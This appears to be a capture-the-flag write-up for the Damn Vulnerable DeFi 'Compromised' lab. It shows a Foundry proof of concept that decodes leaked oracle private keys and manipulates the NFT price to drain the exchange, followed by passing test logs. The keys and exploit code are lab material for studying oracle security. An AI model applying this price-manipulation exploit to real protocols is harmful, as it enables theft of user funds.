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compromised.md

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Damn Vulnerable Defi - Compromised

  • Scope
    • Exchange.sol
    • DamnValuableNFT.sol
    • TrustfulOracle.sol
    • TrustfulOracleInitializer.sol
  • Tools

Findings

Leaked private key gives attackers control of oracle and price of the token or NFT is manipulated

Summary

Leaked private key gives attackers control of oracle and price of the token or NFT is manipulated to drain the ETH off exchange.

Vulnerability Details

Leaked private keys are dangerous as it gives attackers total control of the oracle and the token or NFT price can be manipulated.

Impact/Proof of Concept

Remember to inherit IERC721Receiver on the CompromisedChallenge contract.

function test_compromised() public checkSolved {
        // From the readme.md file, we have 2 leaked data and we need to convert them from Hexadecimal -> ASCII -> DecodeBase64 -> String
        // Leaked_1 = 4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
        // Leaked_2 = 4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35
        // pk_1 = "7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744"
        // pk_2 = "68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159"
        // After conversion, we can see that they are actually the private key of the 2 sources as their addr is calculated to be the same.
        // Try it at -> https://www.rfctools.com/ethereum-address-test-tool/
        address source1 = 0x188Ea627E3531Db590e6f1D71ED83628d1933088;
        address source2 = 0xA417D473c40a4d42BAd35f147c21eEa7973539D8;
        
        // Simulate hijacking source 1 and 2 as we have the private keys, then set the NFT price to 0
        vm.startPrank(source1);
        oracle.postPrice("DVNFT", 0);
        vm.startPrank(source2);
        oracle.postPrice("DVNFT", 0);
        console.log("DNFT Price: ", oracle.getMedianPrice("DVNFT") / 1e18);

        // Switch to player and buy with 1 ether, as 0 will revert
        vm.startPrank(player);
        uint256 id = exchange.buyOne{value: 1}();

        // Switch back to source 1 and 2 and set the NFT price to be very high
        vm.startPrank(source1);
        oracle.postPrice("DVNFT", 999 ether);
        vm.startPrank(source2);
        oracle.postPrice("DVNFT", 999 ether);
        console.log("DNFT Price: ", oracle.getMedianPrice("DVNFT") / 1e18);

        // Approve the sale and then sell DNFT back to exchange for a high price
        vm.startPrank(player);
        nft.approve(address(exchange), id);
        exchange.sellOne(id);

        // Transfer ETH to recovery
        (bool success,) = recovery.call{value: 999 ether}("");
        require(success);
        console.log("Player Balance: ", player.balance / 1e18);
        console.log("Recovery Balance: ", recovery.balance / 1e18);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4){
        return this.onERC721Received.selector;
    }

Results

Ran 2 tests for test/compromised/Compromised.t.sol:CompromisedChallenge
[PASS] test_assertInitialState() (gas: 40733)
[PASS] test_compromised() (gas: 246870)
Logs:
  DNFT Price:  0
  DNFT Price:  999
  Player Balance:  0
  Recovery Balance:  999

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.96ms (604.80µs CPU time)